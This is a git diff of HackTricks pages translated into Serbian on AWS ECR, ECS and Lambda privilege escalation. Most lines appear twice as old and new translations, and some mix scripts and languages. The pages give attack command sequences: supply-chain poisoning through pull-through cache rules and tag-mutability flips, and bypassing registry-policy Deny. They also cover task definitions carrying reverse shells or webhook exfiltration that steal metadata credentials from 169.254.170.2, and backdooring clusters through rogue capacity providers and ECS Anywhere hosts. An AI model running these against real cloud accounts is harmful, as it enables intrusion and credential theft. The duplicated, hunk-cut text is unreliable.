docker login public.ecr.aws/<public_alias>
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
2. Kreirajte PTC pravilo u privatnom ECR da mapirate poverljivi prefiks na public registry
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
3. Pull the attacker image via the private ECR path (no push to private ECR was done)
3. Povucite napadačev image putem privatnog ECR puta (nije vršen push u privatni ECR)
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Potential Impact: Kompromitovanje supply-chain-a preotimanjem internih imena slika pod izabranim prefiksom. Bilo koji workload koji preuzima slike iz privatnog ECR-a koristeći taj prefiks će dobiti sadržaj pod kontrolom napadača.
Potential Impact: Kompromitovanje lanca snabdevanja preuzimanjem unutrašnjih imena image-ova pod izabranim prefiksom. Bilo koji workload koji povlači image-e iz privatnog ECR koristeći taj prefiks će dobiti sadržaj pod kontrolom napadača.
### `ecr:PutImageTagMutability`
Abuse this permission to flip a repository with tag immutability to mutable and overwrite trusted tags (e.g., latest, stable, prod) with attacker-controlled content.
Iskoristite ovu dozvolu da promenite repozitorijum sa nepromenljivim tagovima u promenljive i prepišete poverljive tagove (npr. latest, stable, prod) sadržajem pod kontrolom napadača.
- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impact: Kompromitovanje supply-chain-a tiho zamenjujući immutable tagove bez promene imena tagova.
- Potrebne dozvole: `ecr:PutImageTagMutability` plus mogućnosti za push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Uticaj: Kompromitovanje lanca snabdevanja tiho zamenom nepromenljivih tagova bez menjanja imena tagova.
Steps (example):
Koraci (primer):
<details>
<summary>Poison an immutable tag by toggling mutability</summary>
<summary>Zatrovati nepromenljivi tag prebacivanjem njegove promenljivosti (mutability)</summary>
```bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
@@ -160,12 +154,12 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
#### Global registry hijack putem ROOT Pull-Through Cache pravila
Kreirajte Pull-Through Cache (PTC) pravilo koristeći specijalni `ecrRepositoryPrefix=ROOT` kako biste mapirali koren privatnog ECR registry-ja na upstream javni registry (npr. ECR Public). Bilo koji pull ka nepostojećem repository-ju u privatnom registry-ju biće transparentno poslužen sa upstream-a, omogućavajući supply-chain hijacking bez push-ovanja u privatni ECR.
Kreirajte Pull-Through Cache (PTC) pravilo koristeći specijalni `ecrRepositoryPrefix=ROOT` да mapirate root приватног ECR регистра на upstream јавни registry (нпр., ECR Public). Bilo koji pull na nepostojeći репозиторijum у приватном регистру биће transparentno послужен из upstream-а, омогућавајући supply-chain hijacking без push-овања у приватни ECR.
- Potrebne dozvole: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Uticaj: Povlačenja ka `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` uspevaju i automatski kreiraju privatne repozitorijume koji potiču sa upstream-a.
- Zahtevane permisije: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Uticaj: Pull zahtevi ka `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` uspevaju и аутоматски креирају приватне репозиторијуме који су преузети са upstream-а.
> Napomena: Za `ROOT` pravila, izostavite `--upstream-repository-prefix`. Navođenje istog će prouzrokovati grešku pri validaciji.
> Napomena: For `ROOT` rules, omit `--upstream-repository-prefix`. Supplying it will cause a validation error.
<details>
<summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
```
</details>
### `ecr:PutAccountSetting` (Smanjivanje `REGISTRY_POLICY_SCOPE` da se zaobiđu zabrane u registry policy)
### `ecr:PutAccountSetting` (Smanjivanje `REGISTRY_POLICY_SCOPE` da bi se zaobišla registry policy Deny)
Iskoristite `ecr:PutAccountSetting` da prebacite registry policy scope sa `V2` (policy se primenjuje na sve ECR akcije) na `V1` (policy se primenjuje samo na `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Ako restriktivni registry policy Deny blokira akcije poput `CreatePullThroughCacheRule`, spuštanje na `V1` uklanja to ograničenje tako da stupaju na snagu dozvole iz identity‑policy (Allows).
Iskoristite `ecr:PutAccountSetting` da promenite opseg registry policy sa `V2` (policy koji se primenjuje na sve ECR akcije) na `V1` (policy koji se primenjuje samo na `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Ako restriktivan registry policy Deny blokira akcije poput `CreatePullThroughCacheRule`, smanjenje opsega na `V1` uklanja to sprovođenje tako da identity‑policy Allows stupe na snagu.
- Potrebne permisije: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Uticaj: Mogućnost izvršavanja ECR akcija koje su ranije bile blokirane registry policy Deny (npr. kreiranje PTC pravila) privremenim postavljanjem scope na `V1`.
- Uticaj: Mogućnost izvršavanja ECR akcija koje je ranije blokirao registry policy Deny (npr. kreiranje PTC pravila) privremenim postavljanjem opsega na `V1`.
Koraci (primer):
<details>
<summary>Zaobiđite registry policy Deny za CreatePullThroughCacheRule prebacivanjem na V1</summary>
<summary>Zaobiđite registry policy Deny za CreatePullThroughCacheRule promenom na V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
@@ -266,3 +260,5 @@ fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

137
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
View File

@@ -12,7 +12,7 @@ Više **informacija o ECS** u:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Napadač koji zloupotrebljava dozvole `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS-u može **generisati novu task definition** sa **malicious container** koji krade metadata credentials i **pokrenuti je**.
Napadač koji zloupotrebljava `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` dozvolu u ECS može **generate a new task definition** sa **malicious container** koji krade metadata credentials i **run it**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
Kreiraj webhook koristeći sajt kao što je webhook.site
Kreirajte webhook koristeći sajt kao što je webhook.site
```bash
# Create file container-definition.json
@@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Mogući uticaj:** Direct privesc na drugu ECS ulogu.
**Potencijalni uticaj:** Direktan privesc na drugi ECS role.
### `iam:PassRole`,`ecs:RunTask`
Napadač koji ima dozvole `iam:PassRole` i `ecs:RunTask` može pokrenuti novu ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. CLI komanda `ecs run-task` sadrži `--overrides` flag koji omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i **command** kontejnera bez menjanja task definition.
Napadač koji ima `iam:PassRole` i `ecs:RunTask` dozvole može pokrenuti novi ECS task sa izmenjenim **execution role**, **task role** i vrednostima **command** kontejnera. `ecs run-task` CLI komanda sadrži `--overrides` flag koji omogućava menjanje u runtime-u `executionRoleArn`, `taskRoleArn` i **command** kontejnera bez diranja task definition.
Specifikovane IAM role za `taskRoleArn` i `executionRoleArn` moraju u svojoj trust policy dozvoliti/omogućiti da ih preuzme `ecs-tasks.amazonaws.com`.
Navedene IAM role za `taskRoleArn` i `executionRoleArn` moraju u svom trust policy-ju dozvoliti da ih preuzme `ecs-tasks.amazonaws.com`.
Takođe, napadač mora znati:
Takođe, napadač treba da zna:
- ECS cluster name
- VPC Subnet
- Security group (Ako nije navedena security group, koristiće se podrazumevana)
- Security group (Ako nije specificirana nijedna security group, koristiće se podrazumevana)
- Task Definition Name and revision
- Name of the Container
```bash
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
U primeru koda iznad napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u task definition da bi napad bio moguć.
U gornjem isječku koda napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u definiciji taska da bi napad bio moguć.
Ako IAM role koju napadač može da prosledi ima dovoljno privilegija da preuzme ECR image i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), napadač može da navede istu IAM rolu za oba `executionRoleArn` i `taskRoleArn` u `ecs run-task` komandi.
Ako IAM rola koju napadač može proslijediti ima dovoljno privilegija za povlačenje ECR imidža i pokretanje ECS taska (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), napadač može navesti istu IAM rolu za oba `executionRoleArn` i `taskRoleArn` u `ecs run-task` komandi.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Mogući uticaj:** Direktan privesc na bilo koju ECS task role.
**Potencijalni uticaj:** Direktan privesc na bilo koji ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dozvole u ECS može **generisati novi task definition** sa **zlonamernim containerom** koji ukrade metadata credentials i **pokrenuti ga**.\
Međutim, u ovom slučaju, mora postojati container instance da pokrene zlonamerni task definition.
Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dozvole u ECS može **generisati novu task definition** sa **malicioznim containerom** koji krade metadata credentials i **pokrenuti je**.\
Međutim, u ovom slučaju, potreban je container instance da bi se maliciozna task definition pokrenula.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potential Impact:** Direktan privesc na bilo koju ECS ulogu.
**Potential Impact:** Direktan privesc na bilo koji ECS role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS-u može **generisati novu task definition** sa **malicioznim kontejnerom** koji krade metadata credentials i **pokrenuti ga kreiranjem novog servisa sa najmanje jednim pokrenutim taskom.**
Baš kao u prethodnom primeru, napadač koji zloupotrebljava dozvole **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** u ECS može **generisati novu task definition** sa **zlonamernim containerom** koji ukrade metadata credentials i **pokrenuti je kreiranjem novog servisa sa najmanje jednom task-om koji radi.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -173,7 +173,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Zapravo, samo sa tim dozvolama moguće je koristiti overrides da izvršite proizvoljne komande u kontejneru sa proizvoljnom ulogom koristeći nešto poput:
U stvari, samo sa tim dozvolama moguće je koristiti overrides da se izvrše proizvoljne komande u kontejneru sa proizvoljnom ulogom, koristeći nešto poput:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -181,16 +181,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potencijalni uticaj:** Direktan privesc na bilo koju ECS role.
**Potencijalni uticaj:** Direktan privesc na bilo koju ECS ulogu.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Ovaj scenario je kao prethodni, ali **bez** **`iam:PassRole`** dozvole.\
Ovo je i dalje interesantno jer, ako možete pokrenuti proizvoljan container, čak i ako je bez role, možete **pokrenuti privilegovani container da pobegnete** na node i **ukrasti EC2 IAM role** i **role drugih ECS containera** koje rade na node-u.\
Možete čak i **primorati druge taskove da se pokrenu unutar EC2 instance** koju kompromitujete kako biste ukrali njihove kredencijale (kao što je objašnjeno u [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
Ovaj scenarij je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
Ovo je i dalje interesantno jer, ako možete pokrenuti proizvoljan kontejner, čak i bez role, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukrasti EC2 IAM role** i **uloge drugih ECS kontejnera** koji se izvršavaju na tom čvoru.\
Možete čak i **primorati druge zadatke da se pokreću unutar EC2 instance** koju kompromitujete kako biste ukrali njihove kredencijale (kao što je objašnjeno u [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
> [!WARNING]
> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance i ne Fargate.
> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance, a ne Fargate.
```bash
printf '[
{
@@ -233,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM rolu pridruženu njemu (potrebne su dozvole za describe jer su neophodne za pokretanje `aws ecs execute-command`).\
Međutim, da bi se to postiglo, instanca kontejnera mora imati pokrenut **ExecuteCommand agent** (koji po defaultu nije).
Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i izvući IAM rolu pridruženu tom kontejneru (potrebna su vam describe dozvole jer su neophodne za pokretanje `aws ecs execute-command`).\
Međutim, da bi se to uradilo, instanca kontejnera mora imati pokrenut **ExecuteCommand agent** (koji po defaultu nije pokrenut).
Zbog toga napadač može pokušati:
Stoga napadač može pokušati:
- **Pokušati pokrenuti komandu** u svakom pokrenutom kontejneru
```bash
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Ako ima **`ecs:RunTask`**, pokreni task sa `aws ecs run-task --enable-execute-command [...]`
- Ako ima **`ecs:StartTask`**, pokreni task sa `aws ecs start-task --enable-execute-command [...]`
- Ako ima **`ecs:CreateService`**, kreiraj service sa `aws ecs create-service --enable-execute-command [...]`
- Ako ima **`ecs:UpdateService`**, ažuriraj service sa `aws ecs update-service --enable-execute-command [...]`
- Ako on ima **`ecs:RunTask`**, pokreni task sa `aws ecs run-task --enable-execute-command [...]`
- Ako on ima **`ecs:StartTask`**, pokreni task sa `aws ecs start-task --enable-execute-command [...]`
- Ako on ima **`ecs:CreateService`**, kreiraj service sa `aws ecs create-service --enable-execute-command [...]`
- Ako on ima **`ecs:UpdateService`**, ažuriraj service sa `aws ecs update-service --enable-execute-command [...]`
Možete pronaći **primere tih opcija** u **prethodnim ECS privesc sekcijama**.
Možeš naći **primere tih opcija** u **prethodnim ECS privesc sekcijama**.
**Potencijalni uticaj:** Privesc na drugu ulogu vezanu za kontejnere.
**Potencijalni uticaj:** Privesc na drugu ulogu pridruženu kontejnerima.
### `ssm:StartSession`
Pogledaj na **ssm privesc stranici** kako možeš zloupotrebiti ovu dozvolu da se **privesc na ECS**:
Proveri na **ssm privesc stranici** kako možeš zloupotrebiti ovu dozvolu da **privesc na ECS**:
{{#ref}}
../aws-ssm-privesc/README.md
@@ -275,7 +275,7 @@ Pogledaj na **ssm privesc stranici** kako možeš zloupotrebiti ovu dozvolu da s
### `iam:PassRole`, `ec2:RunInstances`
Pogledaj na **ec2 privesc stranici** kako možeš zloupotrebiti ove dozvole da se **privesc na ECS**:
Proveri na **ec2 privesc stranici** kako možeš zloupotrebiti ove dozvole da **privesc na ECS**:
{{#ref}}
../aws-ec2-privesc/README.md
@@ -283,16 +283,16 @@ Pogledaj na **ec2 privesc stranici** kako možeš zloupotrebiti ove dozvole da s
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
Napadač sa ovim dozvolama bi potencijalno mogao da registruje EC2 instancu u ECS klasteru i pokrene taskove na njoj. Ovo bi napadaču omogućilo izvršavanje proizvoljnog koda u kontekstu ECS taskova.
Napadač sa ovim dozvolama bi potencijalno mogao registrovati EC2 instancu u ECS klasteru i pokretati taskove na njoj. Ovo bi napadaču omogućilo izvršavanje proizvoljnog koda u kontekstu ECS taskova.
- TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se taskovi izvršavaju na mašinama pod kontrolom napadača?
- TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se taskovi izvršavaju na mašinama kojima napadač upravlja??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Testirati ovo
Napadač sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati maliciozni task set za postojeći ECS service i ažurirati primarni task set**. Ovo omogućava napadaču da **izvrši proizvoljan kod unutar servisa**.
Napadač sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` i `ecs:DescribeTaskSets` može **kreirati zlonamerni task set za postojeći ECS service i ažurirati primary task set**. Ovo napadaču omogućava da **izvršava proizvoljan kod unutar servisa**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -318,59 +318,57 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Mogući uticaj**: Izvršavanje proizvoljnog koda u pogođenoj usluzi, što može uticati na njenu funkcionalnost ili dovesti do eksfiltracije osetljivih podataka.
**Potencijalni uticaj**: Izvršavanje proizvoljnog koda u pogođenoj usluzi, što može uticati na njenu funkcionalnost ili dovesti do eksfiltracije osetljivih podataka.
## References
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
{{#include ../../../../banners/hacktricks-training.md}}
### Preuzimanje raspoređivanja ECS pomoću zlonamernog Capacity Provider-a (EC2 ASG takeover)
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Napadač sa dozvolama za upravljanje ECS Capacity Provider-ima i za ažuriranje servisa može kreirati EC2 Auto Scaling Group pod svojom kontrolom, upakovati je kao ECS Capacity Provider, povezati je sa ciljnim clusterom i migrirati žrtvin servis da koristi tog providera. Tasks će potom biti raspoređeni na EC2 instance kojima napadač upravlja, što omogućava OS-nivo pristupa za inspekciju containera i krađu task role credentials.
Napadač sa dozvolama za upravljanje ECS capacity provider-ima i ažuriranje servisa može kreirati EC2 Auto Scaling Group koju kontroliše, umotati je u ECS Capacity Provider, povezati je sa ciljanim cluster-om i migrirati servis žrtve da koristi tog provider-a. Tasks će tada biti raspoređeni na EC2 instance pod kontrolom napadača, omogućavajući pristup na nivou OS-a za inspekciju kontejnera i krađu task role credentials.
Commands (us-east-1):
- Preduslovi
- Preduvjeti
- Create Launch Template for ECS agent to join target cluster
- Kreirajte Launch Template za ECS agent da se pridruži target cluster-u
- Create Auto Scaling Group
- Kreirajte Auto Scaling Group
- Create Capacity Provider from the ASG
- Kreirajte Capacity Provider iz ASG-a
- Associate the Capacity Provider to the cluster (optionally as default)
- Povežite Capacity Provider sa cluster-om (opciono kao podrazumevani)
- Migrate a service to your provider
- Migrirajte servis na vaš provider
- Verify tasks land on attacker instances
- Proverite da li tasks dospevaju na instance koje kontroliše napadač
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
- Opcionalno: sa EC2 noda, docker exec u target kontejnere i pročitajte http://169.254.170.2 da biste dobili task role credentials.
- Cleanup
- Čišćenje
**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
**Potencijalni uticaj:** EC2 nodovi pod kontrolom napadača primaju zadatke žrtve, omogućavajući pristup na nivou OS-a kontejnerima i krađu task IAM role credentials.
<details>
@@ -409,23 +407,23 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Iskoristite ECS Anywhere da registrujete host pod kontrolom napadača kao EXTERNAL container instance u žrtvinom ECS clusteru i pokrenete tasks na tom hostu koristeći privilegovane task i execution role. Ovo daje OS-nivo kontrole nad tim gde se tasks izvršavaju (vaša mašina) i omogućava krađu credential-a/podataka iz tasks i prikačenih volumena bez diranja capacity providera ili ASG-ova.
Iskoristite ECS Anywhere da registrujete host pod kontrolom napadača kao EXTERNAL container instance u ciljnom ECS cluster-u i pokrenete tasks na tom hostu koristeći privilegovane task i execution role. Ovo daje kontrolu na nivou OS-a nad tim gde se tasks izvršavaju (vaš sopstveni računar) i omogućava krađu kredencijala/podataka iz tasks i priključenih volumena bez diranja capacity provider-a ili ASG-ova.
- Potrebne dozvole (primer minimalno):
- Zahtevane dozvole (primer minimalno):
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
- Uticaj: Pokrenite proizvoljne containere sa odabranim taskRoleArn na hostu pod vašom kontrolom; eksfiltracija task-role credentials sa 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; pristup bilo kojim volumenima montiranim od strane tasks; stealthier nego manipulacija capacity provider-ima/ASG-ovima.
- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.
Koraci
Steps
1) Kreirajte/identifikujte cluster (us-east-1)
1) Create/identify cluster (us-east-1)
```bash
aws ecs create-cluster --cluster-name ht-ecs-anywhere
```
2) Kreiraj ECS Anywhere role i SSM activation (za on-prem/EXTERNAL instance)
2) Kreiraj ECS Anywhere ulogu i SSM aktivaciju (za on-prem/EXTERNAL instancu)
```bash
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
@@ -434,7 +432,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
```
3) Postavite napadački host i automatski ga registrujte kao EXTERNAL (na primer: mali AL2 EC2 kao “on‑prem”)
3) Postaviti napadački host i automatski ga registrovati kao EXTERNAL (na primer: mali AL2 EC2 kao “on‑prem”)
<details>
<summary>user-data.sh</summary>
@@ -455,14 +453,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) Proveri da li se EXTERNAL instanca kontejnera pridružila
4) Proverite da li se EXTERNAL container instance pridružio
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) Kreirajte task/execution roles, registrujte EXTERNAL task definition i pokrenite je na attacker hostu
5) Kreiraj task/execution roles, registruj EXTERNAL task definition, i pokreni ga na attacker host
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
@@ -498,18 +496,18 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI
```
6) Odavde kontrolišeš host koji pokreće tasks. Možeš čitati task logs (ako su awslogs) ili direktno exec na hostu da bi exfiltrateovao credentials/data iz svojih tasks.
6) Odatle kontrolišete host koji pokreće tasks. Možete čitati task logs (if awslogs) ili direktno exec-ovati na hostu da biste eksfiltrirali credentials/data iz svojih tasks.
#### Primer komande (placeholders)
#### Command example (placeholders)
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.
Napadač koji ima dozvole za upravljanje ECS capacity providers i ažuriranje servisa može kreirati EC2 Auto Scaling Group koju kontroliše, umotati je u ECS Capacity Provider, povezati je sa target cluster-om i migrirati victim service da koristi tog providera. Tasks će potom biti raspoređeni na EC2 instance pod kontrolom napadača, što omogućava OS-level pristup za pregled containera i krađu task role credentials.
Commands (us-east-1):
@@ -517,34 +515,35 @@ Commands (us-east-1):
- Kreiraj Launch Template for ECS agent to join target cluster
- Create Launch Template for ECS agent to join target cluster
- Kreiraj Auto Scaling Group
- Kreirajte Auto Scaling Group
- Kreiraj Capacity Provider from the ASG
- Kreirajte Capacity Provider iz ASG-a
- Poveži Capacity Provider sa cluster-om (opciono kao default)
- Povežite Capacity Provider sa cluster-om (opciono kao default)
- Migriraj a service na svog providera
- Migrirajte service da koristi vaš provider
- Proveri da li su tasks raspoređeni na instance pod kontrolom napadača
- Verifikujte da tasks završavaju na instance napadača
- Opcionalno: Sa EC2 node-a, docker exec u ciljne containers i pročitaj http://169.254.170.2 da dobiješ task role credentials.
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
- Čišćenje
**Potencijalni uticaj:** EC2 nodes pod kontrolom napadača primaju victim tasks, omogućavajući OS-level access do containers i krađu task IAM role credentials.
**Potencijalni uticaj:** EC2 čvorovi pod kontrolom napadača dobijaju victim tasks, omogućavajući OS-level pristup containerima i krađu task IAM role credentials.
{{#include ../../../../banners/hacktricks-training.md}}

108
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
View File

@@ -12,11 +12,11 @@ Više informacija o lambda u:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:InvokeFunction`** dozvolama mogu eskalirati svoje privilegije.\
Mogu **kreirati novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, čime funkcija dobija dozvole povezane sa tom ulogom. Korisnik potom može **napisati i otpremiti kod u tu Lambda funkciju (npr. sa rev shell-om)**.\\
Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i željene akcije pozivanjem Lambda funkcije preko AWS API-ja. Ovaj pristup efektivno omogućava korisniku da izvodi zadatke indirektno kroz Lambda funkciju, radeći sa nivoom pristupa koji je dodeljen povezanoj IAM ulozi.\\
Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permisijama mogu da eskaliraju svoje privilegije.\
Mogu da **kreiraju novu Lambda funkciju i dodele joj postojeću IAM role**, čime funkciji dodeljuju dozvole povezane sa tom rolom. Korisnik potom može **napisati i otpremiti kod u ovu Lambda funkciju (na primer sa rev shell-om)**.\
